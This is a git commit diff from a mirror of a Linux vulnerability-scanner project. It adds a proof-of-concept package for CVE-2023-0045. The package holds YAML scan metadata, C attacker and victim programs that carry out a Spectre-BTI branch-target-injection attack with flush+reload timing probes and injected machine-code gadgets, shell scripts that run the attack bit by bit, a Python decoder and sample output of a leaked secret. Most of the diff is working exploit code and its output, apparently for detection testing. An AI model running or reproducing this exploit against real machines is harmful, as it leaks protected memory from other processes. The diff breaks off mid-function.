mirror of https://gitee.com/openkylin/genmai.git
Merge branch 'master' into alpha-dev
This commit is contained in:
commit
282b566551
|
@ -1,6 +1,5 @@
|
|||
ConfigFilePrefix: ../data/BaseLine/
|
||||
Type: baseline
|
||||
RootPasswd: #部分检测需要用到高权限
|
||||
ExplorerItems:
|
||||
- ConfigFile: UserAnalysis/checkUser.yaml #检测root权限用户
|
||||
- ConfigFile: UserAnalysis/checkGid.yaml #检测特权组用户
|
||||
|
|
|
@ -0,0 +1,51 @@
|
|||
FormatVer: 20230203
|
||||
Id: CVE-2023-0045
|
||||
Belong: Kernel
|
||||
PocHazardLevel: high
|
||||
Source: https://github.com/es0j/CVE-2023-0045
|
||||
SiteInfo:
|
||||
Name: Linux kernel是美国Linux基金会的开源操作系统Linux所使用的内核。
|
||||
Severity: high
|
||||
Description:
|
||||
Linux kernel存在安全漏洞,该漏洞源于绕过Spectre-BTI用户空间缓解措施。基于linux操作系统的Intel、AMD和 Arm 等现代处理器,被发现存在一个漏洞,攻击者可以绕过现有硬件防护缓解措施,实施Spectre BTI推测执行攻击,从而访问内存数据,可能引起信息泄漏。用于推测控制的prctl系统调用的当前实现未能保护用户免受在缓解之前执行的攻击者的攻击。seccomp缓解在此场景中也失败了。
|
||||
ScopeOfInfluence:
|
||||
5.5~5.15
|
||||
References:
|
||||
- https://www.cnnvd.org.cn/home/globalSearch?keyword=CVE-2023-0179
|
||||
- https://docs.kernel.org/userspace-api/spec_ctrl.html
|
||||
- https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/cpu/bugs.c#L1467
|
||||
SiteClassification:
|
||||
CvssMetrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
|
||||
CvssScore: None
|
||||
CveId: CVE-2023-0045
|
||||
CweId: None
|
||||
CnvdId: None
|
||||
KveId: None
|
||||
Tags:
|
||||
- 推测攻击
|
||||
- 信息泄露
|
||||
SiteRequests:
|
||||
Implement:
|
||||
ImArray:
|
||||
- Inter : python3
|
||||
InterArgs :
|
||||
Exec : parseResult.py
|
||||
Args :
|
||||
ExpireTime: 30
|
||||
|
||||
# < input
|
||||
# > output
|
||||
# . wait
|
||||
# ? condition
|
||||
# : content
|
||||
#
|
||||
#组合起来
|
||||
# >. 等待直到输出
|
||||
# << 输入字符
|
||||
# >?判断条件
|
||||
Inter:
|
||||
- ">.:result.txt"
|
||||
- "<<:taskset -c 0 ./attacker"
|
||||
- ">.:\n"
|
||||
- ">?:root"
|
||||
Condition: None
|
|
@ -0,0 +1,8 @@
|
|||
all:
|
||||
|
||||
gcc -o victim-PRCTL test.c -O0 -masm=intel -w -DPRCTL
|
||||
gcc -o attacker test.c -O0 -masm=intel -w -DATTACKER
|
||||
|
||||
clean:
|
||||
rm attacker
|
||||
rm victim*
|
|
@ -0,0 +1,8 @@
|
|||
all:
|
||||
|
||||
gcc -o attacker attacker.c -O0 -masm=intel -no-pie -fno-stack-protector
|
||||
gcc -o victim victim.c -O0 -masm=intel -no-pie -fno-stack-protector
|
||||
|
||||
clean:
|
||||
rm attacker
|
||||
rm victim
|
|
@ -0,0 +1,53 @@
|
|||
#include "common.h"
|
||||
|
||||
#define PRINTNUM 1000
|
||||
|
||||
unsigned probe(char *adrs)
|
||||
{
|
||||
volatile unsigned long time;
|
||||
asm __volatile__(
|
||||
" mfence \n"
|
||||
" lfence \n"
|
||||
" rdtsc \n"
|
||||
" lfence \n"
|
||||
" mov esi, eax \n"
|
||||
" mov eax,[%1] \n"
|
||||
" lfence \n"
|
||||
" rdtsc \n"
|
||||
" sub eax, esi \n"
|
||||
" clflush [%1] \n"
|
||||
" mfence \n"
|
||||
" lfence \n"
|
||||
: "=a"(time)
|
||||
: "c"(adrs)
|
||||
: "%esi", "%edx");
|
||||
return time;
|
||||
}
|
||||
|
||||
int main(int argc, char *argv[])
|
||||
{
|
||||
|
||||
//Make spec function confuse safe_function with spectre_gadget
|
||||
codePtr = spectre_gadget;
|
||||
|
||||
char dummy;
|
||||
int hits = 0;
|
||||
int tries = 0;
|
||||
char *sharedmem = open_shared_mem();
|
||||
setvbuf(stdout, NULL, _IONBF, 0);
|
||||
|
||||
while (1)
|
||||
{
|
||||
//Inject the target in the BTB
|
||||
spec(&dummy, &dummy, 0);
|
||||
|
||||
//Allow for victim to execute and misspredict to spectre_gadget
|
||||
usleep(1);
|
||||
|
||||
//probe the 1-bit flush+reload side channel
|
||||
if (probe((char *)&sharedmem[2000]) < 0x90)
|
||||
{
|
||||
printf("+");
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,82 @@
|
|||
#include <stdlib.h>
|
||||
#include <sys/mman.h>
|
||||
#include <fcntl.h>
|
||||
#include <unistd.h>
|
||||
#include <stdio.h>
|
||||
#include <sys/prctl.h>
|
||||
#include <sys/syscall.h>
|
||||
#include <linux/seccomp.h>
|
||||
|
||||
char unused[0x1000];
|
||||
void (*codePtr)(char *, char *, unsigned idx);
|
||||
char unused2[0x1000];
|
||||
|
||||
// this function dos nothing. Always called by the victim
|
||||
void safe_function(char *a, char *b, unsigned idx)
|
||||
{
|
||||
}
|
||||
|
||||
// this function is never called by the victim
|
||||
void spectre_gadget(char *addr, char *secret, unsigned idx)
|
||||
{
|
||||
volatile char d;
|
||||
if ((secret[idx / 8] >> (idx % 8)) & 1)
|
||||
d = *addr;
|
||||
}
|
||||
|
||||
// helper for better results probabbly not necessary but makes the tests easier
|
||||
void flush(char *adrs)
|
||||
{
|
||||
asm volatile(
|
||||
"clflush [%0] \n"
|
||||
:
|
||||
: "c"(adrs)
|
||||
:);
|
||||
}
|
||||
|
||||
// This function is vulnerable to a spectre v2 attack.
|
||||
void spec(char *addr, char *secret, unsigned idx)
|
||||
{
|
||||
|
||||
for (register int i = 0; i < 30; i++)
|
||||
;
|
||||
codePtr(addr, secret, idx);
|
||||
}
|
||||
|
||||
// opens file as Readonly in memory to be used as side channel, but could be any other COW file like libc for example
|
||||
char *open_shared_mem()
|
||||
{
|
||||
int fd = open("sharedmem", O_RDONLY);
|
||||
char *res = (char *)mmap(NULL, 0x1000, PROT_READ, MAP_PRIVATE, fd, 0);
|
||||
// ensure page is on memory
|
||||
volatile char d = res[2100];
|
||||
return res;
|
||||
}
|
||||
|
||||
// load secret from file
|
||||
void load_secret(char *secret)
|
||||
{
|
||||
FILE *fp = fopen("secret.txt", "r");
|
||||
fgets(secret, 20, (FILE *)fp);
|
||||
}
|
||||
|
||||
// Calls prctl to protect the user against spectre-BTI attacks - https://docs.kernel.org/userspace-api/spec_ctrl.html
|
||||
void protect_me()
|
||||
{
|
||||
usleep(1000);
|
||||
prctl(PR_SET_SPECULATION_CTRL, PR_SPEC_INDIRECT_BRANCH, PR_SPEC_FORCE_DISABLE, 0, 0);
|
||||
//usleep(1); Coment out for test the mitigation
|
||||
}
|
||||
|
||||
// Calls seccomp to protect the user against spectre-BTI attacks
|
||||
void protect_me2()
|
||||
{
|
||||
usleep(1000);
|
||||
syscall(SYS_seccomp,SECCOMP_SET_MODE_STRICT,0,0);
|
||||
}
|
||||
|
||||
// utility. All utility functions are placed on common so the spec function matches the same address on both victim and attacker. This is not necessary but makes the tests easier
|
||||
unsigned string_to_unsigned(char *s)
|
||||
{
|
||||
return atoi(s);
|
||||
}
|
|
@ -0,0 +1,14 @@
|
|||
#!/usr/bin/python3
|
||||
secret=[]
|
||||
with open("result.txt") as f:
|
||||
for line in f:
|
||||
if "+" in line:
|
||||
secret.append("1")
|
||||
else:
|
||||
secret.append("0")
|
||||
|
||||
secret=secret[::-1]
|
||||
print("Secret array: ", secret)
|
||||
num = int("".join(str(x) for x in secret), 2)
|
||||
|
||||
print("The secret leaked is: ",num.to_bytes(18,'big')[::-1])
|
|
@ -0,0 +1,25 @@
|
|||
#!/bin/bash
|
||||
|
||||
make
|
||||
rm result.txt
|
||||
|
||||
taskset -c 0 ./attacker >> result.txt &
|
||||
|
||||
for i in {0..144}
|
||||
do
|
||||
echo "Leaking bit $i... "
|
||||
echo -e -n "Leaking bit $i: " >> result.txt
|
||||
sleep .01
|
||||
for j in {0..10}
|
||||
do
|
||||
taskset -c 0 ./victim $i &> /dev/null
|
||||
done
|
||||
|
||||
echo "" >> result.txt
|
||||
done
|
||||
|
||||
python3 parseResult.py
|
||||
|
||||
make clean
|
||||
echo -e "killing attacker"
|
||||
kill -9 $(pidof attacker)
|
|
@ -0,0 +1,145 @@
|
|||
Leaking bit 0: +++++++
|
||||
Leaking bit 1:
|
||||
Leaking bit 2:
|
||||
Leaking bit 3:
|
||||
Leaking bit 4:
|
||||
Leaking bit 5:
|
||||
Leaking bit 6: +++++
|
||||
Leaking bit 7:
|
||||
Leaking bit 8: ++++++
|
||||
Leaking bit 9: ++++++++
|
||||
Leaking bit 10:
|
||||
Leaking bit 11:
|
||||
Leaking bit 12: ++++++++
|
||||
Leaking bit 13: +++++++
|
||||
Leaking bit 14: ++++++++
|
||||
Leaking bit 15:
|
||||
Leaking bit 16: ++++++
|
||||
Leaking bit 17:
|
||||
Leaking bit 18: ++++++++
|
||||
Leaking bit 19:
|
||||
Leaking bit 20: +++++++++
|
||||
Leaking bit 21: ++++++
|
||||
Leaking bit 22: ++++++++
|
||||
Leaking bit 23:
|
||||
Leaking bit 24:
|
||||
Leaking bit 25:
|
||||
Leaking bit 26:
|
||||
Leaking bit 27:
|
||||
Leaking bit 28: +++++
|
||||
Leaking bit 29: +++++++++
|
||||
Leaking bit 30: ++++++++
|
||||
Leaking bit 31:
|
||||
Leaking bit 32: +++++++
|
||||
Leaking bit 33:
|
||||
Leaking bit 34: ++++
|
||||
Leaking bit 35:
|
||||
Leaking bit 36:
|
||||
Leaking bit 37: ++++++++++
|
||||
Leaking bit 38: +++++++
|
||||
Leaking bit 39:
|
||||
Leaking bit 40:
|
||||
Leaking bit 41: +++++++++
|
||||
Leaking bit 42:
|
||||
Leaking bit 43:
|
||||
Leaking bit 44: ++++++++
|
||||
Leaking bit 45: +++++++++
|
||||
Leaking bit 46: ++++++++
|
||||
Leaking bit 47:
|
||||
Leaking bit 48: +++++++
|
||||
Leaking bit 49: ++++++
|
||||
Leaking bit 50: +++++++++
|
||||
Leaking bit 51: +++++++
|
||||
Leaking bit 52: +++++++++
|
||||
Leaking bit 53:
|
||||
Leaking bit 54: ++++++++++
|
||||
Leaking bit 55:
|
||||
Leaking bit 56: ++++++++++
|
||||
Leaking bit 57: +++++++++
|
||||
Leaking bit 58:
|
||||
Leaking bit 59:
|
||||
Leaking bit 60: +++++++
|
||||
Leaking bit 61: +++++++
|
||||
Leaking bit 62: ++++++++
|
||||
Leaking bit 63:
|
||||
Leaking bit 64: +++++
|
||||
Leaking bit 65:
|
||||
Leaking bit 66: +++++++
|
||||
Leaking bit 67:
|
||||
Leaking bit 68:
|
||||
Leaking bit 69: +++++++++
|
||||
Leaking bit 70: ++++++
|
||||
Leaking bit 71:
|
||||
Leaking bit 72: +++++++
|
||||
Leaking bit 73: +++++++
|
||||
Leaking bit 74:
|
||||
Leaking bit 75:
|
||||
Leaking bit 76:
|
||||
Leaking bit 77: ++++++
|
||||
Leaking bit 78: ++++++++
|
||||
Leaking bit 79:
|
||||
Leaking bit 80:
|
||||
Leaking bit 81: +++++++++
|
||||
Leaking bit 82:
|
||||
Leaking bit 83:
|
||||
Leaking bit 84: +++++++
|
||||
Leaking bit 85: +++++++
|
||||
Leaking bit 86: +++++++
|
||||
Leaking bit 87:
|
||||
Leaking bit 88: +++
|
||||
Leaking bit 89:
|
||||
Leaking bit 90: +++++++++
|
||||
Leaking bit 91:
|
||||
Leaking bit 92:
|
||||
Leaking bit 93: +++++++++
|
||||
Leaking bit 94: +++++++
|
||||
Leaking bit 95:
|
||||
Leaking bit 96:
|
||||
Leaking bit 97:
|
||||
Leaking bit 98: +++++++
|
||||
Leaking bit 99:
|
||||
Leaking bit 100: +++++++
|
||||
Leaking bit 101: ++++++
|
||||
Leaking bit 102: ++++++++
|
||||
Leaking bit 103:
|
||||
Leaking bit 104: +++++++
|
||||
Leaking bit 105: +++++++++++
|
||||
Leaking bit 106: +++++++++
|
||||
Leaking bit 107: ++++++
|
||||
Leaking bit 108: +++++
|
||||
Leaking bit 109:
|
||||
Leaking bit 110: +++++++
|
||||
Leaking bit 111:
|
||||
Leaking bit 112:
|
||||
Leaking bit 113: +++++++++++
|
||||
Leaking bit 114: +++++++++
|
||||
Leaking bit 115:
|
||||
Leaking bit 116:
|
||||
Leaking bit 117: ++++++++
|
||||
Leaking bit 118: ++++++++
|
||||
Leaking bit 119:
|
||||
Leaking bit 120:
|
||||
Leaking bit 121:
|
||||
Leaking bit 122: ++++++++
|
||||
Leaking bit 123: ++++++
|
||||
Leaking bit 124:
|
||||
Leaking bit 125: +++++++
|
||||
Leaking bit 126: ++++++++
|
||||
Leaking bit 127:
|
||||
Leaking bit 128: +++
|
||||
Leaking bit 129:
|
||||
Leaking bit 130:
|
||||
Leaking bit 131:
|
||||
Leaking bit 132:
|
||||
Leaking bit 133: ++
|
||||
Leaking bit 134: ++++++
|
||||
Leaking bit 135:
|
||||
Leaking bit 136: +++++++
|
||||
Leaking bit 137: +++++++
|
||||
Leaking bit 138: ++++++++++
|
||||
Leaking bit 139:
|
||||
Leaking bit 140:
|
||||
Leaking bit 141: ++++++++
|
||||
Leaking bit 142: ++++++++
|
||||
Leaking bit 143:
|
||||
Leaking bit 144:
|
|
@ -0,0 +1 @@
|
|||
Asuper_secret_flag
|
|
@ -0,0 +1 @@
|
|||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
@ -0,0 +1,31 @@
|
|||
#include "common.h"
|
||||
|
||||
int main(int argc, char *argv[])
|
||||
{
|
||||
|
||||
setvbuf(stdout, NULL, _IONBF, 0);
|
||||
printf("running victim %s\n", argv[1]);
|
||||
|
||||
//only call safe_function
|
||||
codePtr = safe_function;
|
||||
char secret[20];
|
||||
char *sharedmem = open_shared_mem();
|
||||
unsigned idx = string_to_unsigned(argv[1]);
|
||||
|
||||
//call for prctl to protect this process
|
||||
protect_me();
|
||||
|
||||
//only then load the secret into memory
|
||||
load_secret(secret);
|
||||
|
||||
//mitigation with seccomp also fails
|
||||
//protect_me2();
|
||||
|
||||
for (int i = 0; i < 100; i++)
|
||||
{
|
||||
flush((char *)&codePtr);
|
||||
//this arguments are never used on safe_function, but they match the signature of spectre_gadget, that should never be called
|
||||
//Since prctl is called, it shouldn't be possible for an attacker to poison the BTB and leak the secret
|
||||
spec(&sharedmem[2000], secret, idx);
|
||||
}
|
||||
}
|
|
@ -0,0 +1,108 @@
|
|||
#include "utils.h"
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <sys/prctl.h>
|
||||
|
||||
#ifndef PRINT_AMMOUNT
|
||||
#define PRINT_AMMOUNT 100000
|
||||
#endif
|
||||
|
||||
#define IA32_SPEC_CTRL 72
|
||||
|
||||
uint8_t *rdiPtr;
|
||||
uint8_t unused[0x500];
|
||||
uint8_t probeArray[0x1000] = {2};
|
||||
uint8_t unuse2[0x500];
|
||||
|
||||
uint32_t f1() {}
|
||||
|
||||
int poison(uint8_t *srcAddress, uint8_t *dstAddress, uint64_t cpu)
|
||||
{
|
||||
volatile uint8_t d;
|
||||
|
||||
unsigned tries = 0;
|
||||
unsigned hits = 0;
|
||||
unsigned totalHits = 0;
|
||||
unsigned totalTries = 0;
|
||||
|
||||
jitForLoop(srcAddress);
|
||||
|
||||
while (1)
|
||||
{
|
||||
|
||||
#ifdef ATTACKER
|
||||
callGadget(srcAddress, (uint8_t *)&rdiPtr, (uint8_t *)probeArray);
|
||||
continue;
|
||||
#else
|
||||
|
||||
|
||||
d = *dstAddress;
|
||||
flush((uint8_t *)&rdiPtr);
|
||||
callGadget(srcAddress, (uint8_t *)&rdiPtr, (uint8_t *)probeArray);
|
||||
|
||||
if (probe(&probeArray[0]) < THRESHOLD)
|
||||
{
|
||||
hits++;
|
||||
totalHits++;
|
||||
}
|
||||
|
||||
totalTries++;
|
||||
if (++tries % PRINT_AMMOUNT == 0)
|
||||
{
|
||||
|
||||
printf("Rate: %u/%u \n", hits, tries);
|
||||
tries = 0;
|
||||
hits = 0;
|
||||
if (totalTries >= PRINT_AMMOUNT * 10)
|
||||
{
|
||||
break;
|
||||
}
|
||||
}
|
||||
#endif
|
||||
|
||||
#ifdef SLEEP
|
||||
usleep(1);
|
||||
#endif
|
||||
|
||||
}
|
||||
|
||||
printf("Total misspredict rate: %d/%d (%.2f %)\n", totalHits, totalTries, (float)totalHits * 100 / (float)totalTries);
|
||||
}
|
||||
|
||||
int main(int argc, char **argv)
|
||||
{
|
||||
|
||||
uint64_t srcAddress;
|
||||
uint64_t dstAddress;
|
||||
uint64_t cpu;
|
||||
|
||||
if (argc < 4)
|
||||
{
|
||||
printf("Usage: %s <srcAddress> <dstAddress> <cpuCore> \n", argv[0]);
|
||||
printf("Example: %s 0x55555554123 0x55555555345 1 \n", argv[0]);
|
||||
return 0;
|
||||
}
|
||||
|
||||
srcAddress = (uint64_t)strtoull(argv[1], NULL, 16);
|
||||
dstAddress = (uint64_t)strtoull(argv[2], NULL, 16);
|
||||
cpu = (uint64_t)strtoull(argv[3], NULL, 16);
|
||||
SetCoreAffinity(cpu);
|
||||
|
||||
uint8_t *rwx1 = requestMem((uint8_t *)(srcAddress & (~0xfffULL)), 0x1000);
|
||||
uint8_t *rwx2 = requestMem((uint8_t *)(dstAddress & (~0xfffULL)), 0x1000);
|
||||
|
||||
|
||||
// set up leak gadget into position
|
||||
#ifdef ATTACKER
|
||||
rdiPtr = (uint8_t *)dstAddress;
|
||||
copyRetGadget(dstAddress);
|
||||
#else
|
||||
rdiPtr = (uint8_t *)f1;
|
||||
copyLeakGadget(dstAddress);
|
||||
usleep(100000); //optional
|
||||
prctl(PR_SET_SPECULATION_CTRL, PR_SPEC_INDIRECT_BRANCH, PR_SPEC_FORCE_DISABLE, 0, 0);
|
||||
#endif
|
||||
|
||||
poison(srcAddress, dstAddress, cpu);
|
||||
|
||||
}
|
|
@ -0,0 +1,18 @@
|
|||
#!/bin/bash
|
||||
|
||||
make
|
||||
kill -9 $(pidof attacker)
|
||||
|
||||
echo -e "\nStarting attacker on core 0: "
|
||||
./attacker 0x55555554123 0x55555555345 0 &
|
||||
|
||||
|
||||
|
||||
echo -e "\nTesting victim on core 0: "
|
||||
sudo nice -n -19 ./victim-PRCTL 0x55555554123 0x55555555345 0
|
||||
|
||||
|
||||
echo -e "\nkilling attacker"
|
||||
kill -9 $(pidof attacker)
|
||||
|
||||
make clean
|
|
@ -0,0 +1,112 @@
|
|||
#define _GNU_SOURCE /* See feature_test_macros(7) */
|
||||
#include <sched.h>
|
||||
#include <sys/mman.h>
|
||||
#include <linux/mman.h>
|
||||
#include <stdint.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <fcntl.h>
|
||||
#include <time.h>
|
||||
#include <errno.h>
|
||||
|
||||
|
||||
#define THRESHOLD 0x70
|
||||
|
||||
void SetCoreAffinity(int coreNumber){
|
||||
int result;
|
||||
|
||||
cpu_set_t mask;
|
||||
CPU_ZERO(&mask);
|
||||
CPU_SET(coreNumber, &mask);
|
||||
result = sched_setaffinity(0, sizeof(mask), &mask);
|
||||
|
||||
if(result){
|
||||
printf("failed to set affinity to core %i",coreNumber);
|
||||
exit(2);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
void flush(uint8_t *adrs)
|
||||
{
|
||||
asm volatile (
|
||||
"clflush [%0] \n"
|
||||
"mfence \n"
|
||||
"lfence \n"
|
||||
:
|
||||
: "c" (adrs)
|
||||
: "rax");
|
||||
}
|
||||
|
||||
unsigned probe(uint8_t *adrs)
|
||||
{
|
||||
volatile unsigned long time;
|
||||
asm __volatile__(
|
||||
" mfence \n"
|
||||
" lfence \n"
|
||||
" rdtsc \n"
|
||||
" lfence \n"
|
||||
" mov esi, eax \n"
|
||||
" mov eax,[%1] \n"
|
||||
" lfence \n"
|
||||
" rdtsc \n"
|
||||
" sub eax, esi \n"
|
||||
" clflush [%1] \n"
|
||||
" mfence \n"
|
||||
" lfence \n"
|
||||
: "=a" (time)
|
||||
: "c" (adrs)
|
||||
: "%esi", "%edx"
|
||||
);
|
||||
return time;
|
||||
}
|
||||
|
||||
uint8_t * requestMem(uint8_t *requestedAddr, unsigned size){
|
||||
uint8_t *result;
|
||||
|
||||
result = (uint8_t *)mmap(requestedAddr, size, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE| MAP_ANONYMOUS ,-1, 0);
|
||||
if(result!=requestedAddr && requestedAddr!=NULL){
|
||||
printf("mmap failed for %p : returned %p \n",requestedAddr,result);
|
||||
exit(1);
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
#define RET_GADGET "\xc3"
|
||||
|
||||
//mov r13,[r13]
|
||||
//ret
|
||||
#define RD_GADGET "M\x8bm\x00\xc3"
|
||||
|
||||
|
||||
void jitForLoop(uint8_t *rwx)
|
||||
{
|
||||
uint8_t g1[]="\x48\xc7\xc0\xc8\x00\x00\x00\x48\xff\xc8\x75\xfb\x0f\x31\x90\xff\x27";
|
||||
memcpy(rwx, g1, sizeof(g1));
|
||||
}
|
||||
|
||||
|
||||
|
||||
uint32_t callGadget(uint8_t *code,uint8_t *rdiPtr,uint8_t *probeArray){
|
||||
asm __volatile__(
|
||||
"mov r13, %2 \n"
|
||||
"mov rdi, %1 \n"
|
||||
"call %0 \n"
|
||||
:
|
||||
: "r"(code),"m"(rdiPtr),"m"(probeArray)
|
||||
: "rdi"
|
||||
